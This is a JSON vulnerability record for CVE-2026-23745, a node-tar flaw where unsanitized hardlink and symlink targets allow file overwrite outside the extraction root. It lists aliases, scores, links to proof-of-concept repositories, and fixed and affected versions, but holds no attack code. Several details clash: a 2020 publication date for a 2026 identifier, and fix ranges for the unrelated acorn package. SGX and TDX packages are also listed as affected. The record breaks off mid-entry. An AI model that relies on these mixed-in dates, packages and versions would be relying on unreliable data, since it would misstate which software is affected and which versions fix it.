{"id":"CVE-2026-23745","aliases":["ALSA-2026:18480","ALSA-2026:18868","CLSA-2026-1773188129","CLSA-2026-1773533794","CLSA-2026-1773706632","CLSA-2026-1774830255","CLSA-2026-1780620684","CLSA-2026-1780620685","CLSA-2026-1784509814","CLSA-2026-1787823889","CLSA-2026-1787823934","CLSA-2026-1792074305","CLSA-2026-1792164662","CLSA-2026-1792369404","CLSA-2026-1793307830","DEBIAN-CVE-2026-23745","EUVD-2026-2909","GHSA-5c6j-r48x-rmvq","GHSA-6chw-6frg-f759","GHSA-8qq5-rm4j-mr97","GHSA-gr4j-r575-g665","GHSA-r292-9mhp-454m","RHSA-2026:18480","RHSA-2026:18868","RLSA-2026:18480","RLSA-2026:18868","ROOT-APP-NPM-CVE-2026-23745","UBUNTU-CVE-2026-23745"],"status":"published","title":"node-tar Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization","description":"node-tar is a Tar for Node.js. The node-tar library (\u003c= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets. This vulnerability is fixed in 7.5.3.","severity":{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00376,"percentile":0.31833,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-22","CWE-400"],"published":"2020-04-03T21:48:38Z","modified":"2026-10-30T19:45:55Z","exploits":[{"source":"pocgithub","id":"Jvr2022/CVE-2026-23745","title":"Jvr2022/CVE-2026-23745","date":"2026-01-17","url":"https://github.com/Jvr2022/CVE-2026-23745"},{"source":"pocgithub","id":"Novem13th/CVE-2026-23745-via-graphql-DEMO","title":"Novem13th/CVE-2026-23745-via-graphql-DEMO","date":"2026-03-26","url":"https://github.com/Novem13th/CVE-2026-23745-via-graphql-DEMO"},{"source":"pocgithub","id":"OndrejDrapalik/node-tar-cve-demo","title":"OndrejDrapalik/node-tar-cve-demo","date":"2026-08-11","url":"https://github.com/OndrejDrapalik/node-tar-cve-demo"}],"fixes":[{"ecosystem":"npm","package":"acorn","fixed_in":["6.4.1","7.1.1","5.7.4"],"sources":["ghsa","osv"]},{"ecosystem":"npm","package":"tar","fixed_in":["7.5.3"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"acorn","fixed_in":["6.0.4-tuxcare.1","6.2.0-tuxcare.1"],"sources":["osv"]},{"ecosystem":"Debian:12","package":"node-tar","fixed_in":["6.1.13+~cs7.0.5-1+deb12u1"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"node-tar","fixed_in":["6.2.1+~cs7.0.8-1+deb13u1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"node-tar","fixed_in":["6.2.1+ds1+~cs6.1.13-6"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"tar","fixed_in":["6.1.11-aikido.10","7.5.1-aikido.12","4.4.19-aikido.3","6.2.1-aikido.8","7.4.3-aikido.8","6.2.0-aikido.10","6.1.11-aikido.4","7.5.1-aikido.9","6.1.11-aikido.5","6.1.11-aikido.6","4.4.19-aikido.4","7.5.1-aikido.10","6.2.1-aikido.9","6.1.11-aikido.7","6.1.14-aikido.4","6.1.11-aikido.8","6.2.1-aikido.10","4.4.19-aikido.5","7.4.3-aikido.9","6.2.1-aikido.11","6.1.11-aikido.9","4.4.19-aikido.6","7.4.3-aikido.10","6.1.14-aikido.5","7.5.1-aikido.11","4.4.19-aikido.7","6.2.1-aikido.12","6.1.14-aikido.6","7.4.3-aikido.11","6.1.13-aikido.6","6.1.13-aikido.7","6.1.13-aikido.8","7.4.3-aikido.12","4.4.13-aikido.1","6.2.0-aikido.11"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/tar","fixed_in":["6.2.0-root.io.2","7.4.3-root.io.1","6.2.0-root.io.3","6.2.1-root.io.1","6.2.1-root.io.2","7.4.3-root.io.2","7.5.1-root.io.2","6.2.0-root.io.4","6.2.1-root.io.3","7.5.1-root.io.3","6.2.0-root.io.5","7.5.1-root.io.4","7.4.3-root.io.3","6.2.1-root.io.4","7.5.1-root.io.5","7.4.3-root.io.4","6.2.0-root.io.6","6.2.1-root.io.5","6.2.1-root.io.6","6.2.0-root.io.7","7.4.3-root.io.5","7.5.1-root.io.6","6.2.1-root.io.7","7.4.3-root.io.6","7.5.1-root.io.7","6.2.0-root.io.8","7.4.3-root.io.7","7.5.1-root.io.8","6.2.0-root.io.9","6.1.11-root.io.3","6.1.11-root.io.10","4.4.19-root.io.2","7.5.1-root.io.12","4.4.19-root.io.3","6.2.1-root.io.8","7.4.3-root.io.8","6.2.0-root.io.10","6.1.11-root.io.4","7.5.1-root.io.9","6.1.11-root.io.5","6.1.11-root.io.6","4.4.19-root.io.4","7.5.1-root.io.10","6.2.1-root.io.9","6.1.11-root.io.7","6.1.14-root.io.4","6.1.11-root.io.8","6.2.1-root.io.10","4.4.19-root.io.5","7.4.3-root.io.9","6.2.1-root.io.11","6.1.11-root.io.9","4.4.19-root.io.6","7.4.3-root.io.10","6.1.14-root.io.5","7.5.1-root.io.11","4.4.19-root.io.7","6.2.1-root.io.12","6.1.14-root.io.6","7.4.3-root.io.11","6.1.13-root.io.6","6.1.13-root.io.7","6.1.13-root.io.8","7.4.3-root.io.12","4.4.13-root.io.1","6.2.0-root.io.11"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"acorn","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.0"},{"fixed":"6.4.1"}]}]},{"source":"ghsa","ecosystem":"npm","package":"acorn","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.0.0"},{"fixed":"7.1.1"}]}]},{"source":"ghsa","ecosystem":"npm","package":"acorn","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.5.0"},{"fixed":"5.7.4"}]}]},{"source":"ghsa","ecosystem":"npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"7.5.2"},{"fixed":"7.5.3"}]}]},{"source":"osv","ecosystem":"AlmaLinux:10","package":"sgx-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"AlmaLinux:10","package":"sgx-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"AlmaLinux:10","package":"sgx-mpa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"AlmaLinux:10","package":"sgx-pccs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"AlmaLinux:10","package":"sgx-pccs-admin","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"AlmaLinux:10","package":"sgx-pckid-tool","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"AlmaLinux:10","package":"tdx-qgs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"AlmaLinux:9","package":"sgx-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"AlmaLinux:9","package":"sgx-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"AlmaLinux:9","package":"sgx-mpa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"AlmaLinux:9","package":"sgx-pccs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"AlmaLinux:9","package":"sgx-pccs-admin","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"AlmaLinux:9","package":"sgx-pckid-tool","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"AlmaLinux:9","package":"tdx-qgs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.2-tuxcare.0"},{"fixed":"2.2.2-tuxcare.1"}]}],"versions":["2.2.2"],"bundled":7},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.2.1-tuxcare.0"},{"fixed":"6.2.1-tuxcare.1"}]}],"versions":["6.2.1"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.3-tuxcare.0"},{"fixed":"1.0.3-tuxcare.2"}]}],"versions":["1.0.3","1.0.3-tuxcare.1"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.1.1-tuxcare.0"},{"fixed":"2.1.1-tuxcare.2"}]}],"versions":["2.1.1","2.1.1-tuxcare.1"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:npm","package":"acorn","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.4-tuxcare.0"},{"fixed":"6.0.4-tuxcare.1"}]}],"versions":["6.0.4"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"acorn","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.2.0-tuxcare.0"},{"fixed":"6.2.0-tuxcare.1"}]}],"versions":["6.2.0"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.2.0-tuxcare.0"},{"fixed":"6.2.0-tuxcare.1"}]}],"versions":["6.2.0"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.2-tuxcare.0"},{"fixed":"6.0.2-tuxcare.6"}]}],"versions":["6.0.2","6.0.2-tuxcare.1","6.0.2-tuxcare.2","6.0.2-tuxcare.3","6.0.2-tuxcare.4","6.0.2-tuxcare.5"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.1.6-tuxcare.0"},{"fixed":"6.1.6-tuxcare.1"}]}],"versions":["6.1.6"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.1.0-tuxcare.0"},{"fixed":"6.1.0-tuxcare.2"}]}],"versions":["6.1.0","6.1.0-tuxcare.1"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.4.19-tuxcare.0"},{"fixed":"4.4.19-tuxcare.5"}]}],"versions":["4.4.19","4.4.19-tuxcare.1","4.4.19-tuxcare.2","4.4.19-tuxcare.3","4.4.19-tuxcare.4"],"bundled":10},{"source":"osv","ecosystem":"Debian:12","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.1.13+~cs7.0.5-1+deb12u1"}]}],"versions":["6.1.13+~cs7.0.5-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.2.1+~cs7.0.8-1+deb13u1"}]}],"versions":["6.2.1+~cs7.0.8-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.2.1+ds1+~cs6.1.13-6"}]}],"versions":["6.2.1+ds1+~cs6.1.13-1","6.2.1+ds1+~cs6.1.13-2","6.2.1+ds1+~cs6.1.13-3","6.2.1+ds1+~cs6.1.13-4","6.2.1+ds1+~cs6.1.13-5","6.2.1+~cs7.0.8-1"]},{"source":"osv","ecosystem":"npm","package":"acorn","ranges":[{"type":"SEMVER","events":[{"introduced":"5.5.0"},{"fixed":"5.7.4"}]}]},{"source":"osv","ecosystem":"npm","package":"acorn","ranges":[{"type":"SEMVER","events":[{"introduced":"6.0.0"},{"fixed":"6.4.1"}]}]},{"source":"osv","ecosystem":"npm","package":"acorn","ranges":[{"type":"SEMVER","events":[{"introduced":"7.0.0"},{"fixed":"7.1.1"}]}]},{"source":"osv","ecosystem":"npm","package":"tar","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"7.5.3"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"linux-sgx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"linux-sgx-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"linux-sgx-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"sgx-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"sgx-enclave-devel-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"sgx-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"sgx-libs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"sgx-mpa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"sgx-mpa-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"sgx-pccs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"sgx-pccs-admin","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"sgx-pccs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"sgx-pckid-tool","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"sgx-pckid-tool-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"tdx-attest-libs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"tdx-qgs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"tdx-qgs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"linux-sgx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"linux-sgx-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"linux-sgx-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"sgx-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"sgx-enclave-devel-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"sgx-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"sgx-libs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"sgx-mpa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"sgx-mpa-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"sgx-pccs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"sgx-pccs-admin","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"sgx-pccs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"sgx-pckid-tool","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"sgx-pckid-tool-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"tdx-attest-libs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"tdx-qgs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"tdx-qgs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Rocky Linux:10","package":"linux-sgx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Rocky Linux:9","package":"linux-sgx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Root:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.1.11-aikido.10"},{"fixed":"7.5.1-aikido.12"},{"fixed":"4.4.19-aikido.3"},{"fixed":"6.2.1-aikido.8"},{"fixed":"7.4.3-aikido.8"},{"fixed":"6.2.0-aikido.10"},{"fixed":"6.1.11-aikido.4"},{"fixed":"7.5.1-aikido.9"},{"fixed":"6.1.11-aikido.5"},{"fixed":"6.1.11-aikido.6"},{"fixed":"4.4.19-aikido.4"},{"fixed":"7.5.1-aikido.10"},{"fixed":"6.2.1-aikido.9"},{"fixed":"6.1.11-aikido.7"},{"fixed":"6.1.14-aikido.4"},{"fixed":"6.1.11-aikido.8"},{"fixed":"6.2.1-aikido.10"},{"fixed":"4.4.19-aikido.5"},{"fixed":"7.4.3-aikido.9"},{"fixed":"6.2.1-aikido.11"},{"fixed":"6.1.11-aikido.9"},{"fixed":"4.4.19-aikido.6"},{"fixed":"7.4.3-aikido.10"},{"fixed":"6.1.14-aikido.5"},{"fixed":"7.5.1-aikido.11"},{"fixed":"4.4.19-aikido.7"},{"fixed":"6.2.1-aikido.12"},{"fixed":"6.1.14-aikido.6"},{"fixed":"7.4.3-aikido.11"},{"fixed":"6.1.13-aikido.6"},{"fixed":"6.1.13-aikido.7"},{"fixed":"6.1.13-aikido.8"},{"fixed":"7.4.3-aikido.12"},{"fixed":"4.4.13-aikido.1"},{"fixed":"6.2.0-aikido.11"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.2.0-root.io.2"},{"fixed":"7.4.3-root.io.1"},{"fixed":"6.2.0-root.io.3"},{"fixed":"6.2.1-root.io.1"},{"fixed":"6.2.1-root.io.2"},{"fixed":"7.4.3-root.io.2"},{"fixed":"7.5.1-root.io.2"},{"fixed":"6.2.0-root.io.4"},{"fixed":"6.2.1-root.io.3"},{"fixed":"7.5.1-root.io.3"},{"fixed":"6.2.0-root.io.5"},{"fixed":"7.5.1-root.io.4"},{"fixed":"7.4.3-root.io.3"},{"fixed":"6.2.1-root.io.4"},{"fixed":"7.5.1-root.io.5"},{"fixed":"7.4.3-root.io.4"},{"fixed":"6.2.0-root.io.6"},{"fixed":"6.2.1-root.io.5"},{"fixed":"6.2.1-root.io.6"},{"fixed":"6.2.0-root.io.7"},{"fixed":"7.4.3-root.io.5"},{"fixed":"7.5.1-root.io.6"},{"fixed":"6.2.1-root.io.7"},{"fixed":"7.4.3-root.io.6"},{"fixed":"7.5.1-root.io.7"},{"fixed":"6.2.0-root.io.8"},{"fixed":"7.4.3-root.io.7"},{"fixed":"7.5.1-root.io.8"},{"fixed":"6.2.0-root.io.9"},{"fixed":"6.1.11-root.io.3"},{"fixed":"6.1.11-root.io.10"},{"fixed":"4.4.19-root.io.2"},{"fixed":"7.5.1-root.io.12"},{"fixed":"4.4.19-root.io.3"},{"fixed":"6.2.1-root.io.8"},{"fixed":"7.4.3-root.io.8"},{"fixed":"6.2.0-root.io.10"},{"fixed":"6.1.11-root.io.4"},{"fixed":"7.5.1-root.io.9"},{"fixed":"6.1.11-root.io.5"},{"fixed":"6.1.11-root.io.6"},{"fixed":"4.4.19-root.io.4"},{"fixed":"7.5.1-root.io.10"},{"fixed":"6.2.1-root.io.9"},{"fixed":"6.1.11-root.io.7"},{"fixed":"6.1.14-root.io.4"},{"fixed":"6.1.11-root.io.8"},{"fixed":"6.2.1-root.io.10"},{"fixed":"4.4.19-root.io.5"},{"fixed":"7.4.3-root.io.9"},{"fixed":"6.2.1-root.io.11"},{"fixed":"6.1.11-root.io.9"},{"fixed":"4.4.19-root.io.6"},{"fixed":"7.4.3-root.io.10"},{"fixed":"6.1.14-root.io.5"},{"fixed":"7.5.1-root.io.11"},{"fixed":"4.4.19-root.io.7"},{"fixed":"6.2.1-root.io.12"},{"fixed":"6.1.14-root.io.6"},{"fixed":"7.4.3-root.io.11"},{"fixed":"6.1.13-root.io.6"},{"fixed":"6.1.13-root.io.7"},{"fixed":"6.1.13-root.io.8"},{"fixed":"7.4.3-root.io.12"},{"fixed":"4.4.13-root.io.1"},{"fixed":"6.2.0-root.io.11"}]}]},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.1.18-1","0.1.18-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.3-2","1.0.3-2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.2.1-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.4.10+ds1-2","4.4.10+ds1-2ubuntu1","4.4.10+ds1-2ubuntu1+esm1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.1.7+~cs11.3.10-1","6.1.11+~cs11.3.10-1","6.1.11+ds1+~cs6.0.6-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.1.13+~cs7.0.5-1","6.1.13+~cs7.0.5-3"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.2.1+~cs7.0.8-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.2.1+~cs7.0.8-1","6.2.1+ds1+~cs6.1.13-6","6.2.1+ds1+~cs6.1.13-7","6.2.1+ds1+~cs6.1.13-10"]}],"products":[{"vendor":"isaacs","product":"node-tar"},{"vendor":"isaacs","product":"tar"},{"vendor":"red hat","product":"confidential compute attestation"},{"vendor":"red hat","product":"cryostat 4"},{"vendor":"red hat","product":"logging subsystem for red hat openshift"},{"vendor":"red hat","product":"multicluster engine for kubernetes"},{"vendor":"red hat","product":"network observability (netobserv) 1.11.0"},{"vendor":"red hat","product":"node healthcheck operator"},{"vendor":"red hat","product":"openshift lightspeed"},{"vendor":"red hat","product":"openshift pipelines"},{"vendor":"red hat","product":"openshift serverless"},{"vendor":"red hat","product":"red hat 3scale api management platform 2"},{"vendor":"red hat","product":"red hat advanced cluster management for kubernetes 2"},{"vendor":"red hat","product":"red hat amq broker 7"},{"vendor":"red hat","product":"red hat ansible automation platform 2"},{"vendor":"red hat","product":"red hat build of apache camel - hawtio 4"},{"vendor":"red hat","product":"red hat connectivity link 1"},{"vendor":"red hat","product":"red hat developer hub"},{"vendor":"red hat","product":"red hat enterprise linux 10"},{"vendor":"red hat","product":"red hat enterprise linux 6"},{"vendor":"red hat","product":"red hat enterprise linux 7"},{"vendor":"red hat","product":"red hat enterprise linux 8"},{"vendor":"red hat","product":"red hat enterprise linux 9"},{"vendor":"red hat","product":"red hat enterprise linux ai (rhel ai) 3"},{"vendor":"red hat","product":"red hat fuse 7"},{"vendor":"red hat","product":"red hat hardened images"},{"vendor":"red hat","product":"red hat jboss enterprise application platform 7"},{"vendor":"red hat","product":"red hat jboss enterprise application platform 8"},{"vendor":"red hat","product":"red hat jboss enterprise application platform expansion pack"},{"vendor":"red hat","product":"red hat migration toolkit 1.8"},{"vendor":"red hat","product":"red hat openshift ai (rhoai)"},{"vendor":"red hat","product":"red hat openshift ai 2.25"},{"vendor":"red hat","product":"red hat openshift ai 3.3"},{"vendor":"red hat","product":"red hat openshift container platform 4"},{"vendor":"red hat","product":"red hat openshift data foundation 4"},{"vendor":"red hat","product":"red hat openshift dev spaces 3.27"},{"vendor":"red hat","product":"red hat openshift gitops"},{"vendor":"red hat","product":"red hat process automation 7"},{"vendor":"red hat","product":"red hat quay 3"},{"vendor":"red hat","product":"red hat satellite 6"},{"vendor":"red hat","product":"red hat single sign-on 7"},{"vendor":"red hat","product":"red hat trusted artifact signer 1.2"},{"vendor":"red hat","product":"red 